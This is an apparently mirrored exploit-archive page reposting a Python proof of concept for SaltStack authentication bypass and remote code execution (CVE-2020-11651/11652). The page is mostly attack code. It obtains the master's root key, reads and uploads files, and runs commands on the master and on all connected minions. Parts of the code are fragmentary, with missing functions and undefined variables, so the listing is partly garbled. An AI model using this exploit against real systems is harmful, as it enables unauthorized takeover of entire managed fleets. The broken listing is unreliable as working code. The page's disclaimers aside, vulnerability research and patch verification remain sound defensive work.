Exploits / Vulnerability Discovered : 2020-05-05 |
Type : remote |
Platform : multiple
This exploit / vulnerability Saltstack 3000.1 remote code execution is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: Saltstack 3000.1 - Remote Code Execution
# Date: 2020-05-04
# Exploit Author: Jasper Lievisse Adriaanse
# Vendor Homepage: https://www.saltstack.com/
# Version: < 3000.2, < 2019.2.4, 2017.*, 2018.*
# Tested on: Debian 10 with Salt 2019.2.0
# CVE : CVE-2020-11651 and CVE-2020-11652
# Discription: Saltstack authentication bypass/remote code execution
#
# Source: https://github.com/jasperla/CVE-2020-11651-poc
# This exploit is based on this checker script:
# https://github.com/rossengeorgiev/salt-security-backports
#!/usr/bin/env python
#
# Exploit for CVE-2020-11651 and CVE-2020-11652
# Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020-11651-poc)
# This exploit is based on this checker script:
# https://github.com/rossengeorgiev/salt-security-backports
from __future__ import absolute_import, print_function, unicode_literals
import argparse
import datetime
import os
import os.path
import sys
import time
import salt
import salt.version
import salt.transport.client
import salt.exceptions
try:
rets = channel.send(msg, timeout=3)
except Exception as e:
print('[-] Failed to submit job')
return
if rets.get('jid'):
print('[+] Successfully scheduled job: {}'.format(rets['jid']))
def pwn_exec_all(channel, root_key, cmd, master_ip, jid):
print("[+] Attemping to execute '{}' on all minions connected to {}".format(cmd, master_ip))
sys.stdout.flush()
try:
rets = channel.send(msg, timeout=3)
except Exception as e:
print('[-] Failed to submit job')
return
finally:
if rets == None:
print('[+] Successfully submitted job to all minions.')
else:
print('[-] Failed to submit job')
def main():
parser = argparse.ArgumentParser(description='Saltstack exploit for CVE-2020-11651 and CVE-2020-11652')
parser.add_argument('--master', '-m', dest='master_ip', default='127.0.0.1')
parser.add_argument('--port', '-p', dest='master_port', default='4506')
parser.add_argument('--force', '-f', dest='force', default=False, action='store_false')
parser.add_argument('--debug', '-d', dest='debug', default=False, action='store_true')
parser.add_argument('--run-checks', '-c', dest='run_checks', default=False, action='store_true')
parser.add_argument('--read', '-r', dest='read_file')
parser.add_argument('--upload-src', dest='upload_src')
parser.add_argument('--upload-dest', dest='upload_dest')
parser.add_argument('--exec', dest='exec', help='Run a command on the master')
parser.add_argument('--exec-all', dest='exec_all', help='Run a command on all minions')
args = parser.parse_args()
print("[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.")
time.sleep(1)
# Both src and destination are required for uploads
if (args.upload_src and args.upload_dest is None) or (args.upload_dest and args.upload_src is None):
print('[-] Must provide both --upload-src and --upload-dest')
sys.exit(1)
if check_salt_version():
print("[ ] This version of salt is vulnerable! Check results below")
elif args.force:
print("[*] This version of salt does NOT appear vulnerable. Proceeding anyway as requested.")
else:
sys.exit()
root_key = check_CVE_2020_11651(channel)
if root_key:
print('\n[*] root key obtained: {}'.format(root_key))
else:
print('[-] Failed to find root key...aborting')
sys.exit(127)
if args.run_checks:
# Assuming this check runs on the master itself, create a file with "secret" content
# and abuse CVE-2020-11652 to read it.
top_secret_file_path = '/tmp/salt_cve_teta'
with salt.utils.fopen(top_secret_file_path, 'w') as fd:
fd.write("top secret")
# Again, this assumes we're running this check on the master itself
with salt.utils.fopen('/var/cache/salt/master/.root_key') as keyfd:
root_key = keyfd.read()
if args.read_file:
pwn_read_file(channel, root_key, args.read_file, args.master_ip)
if args.upload_src:
if os.path.isabs(args.upload_dest):
print('[-] Destination path must be relative; aborting')
sys.exit(1)
pwn_upload_file(channel, root_key, args.upload_src, args.upload_dest, args.master_ip)
if args.exec:
pwn_exec(channel, root_key, args.exec, args.master_ip, jid)
if args.exec_all:
print("[!] Lester, is this what you want? Hit ^C to abort.")
time.sleep(2)
pwn_exec_all(channel, root_key, args.exec_all, args.master_ip, jid)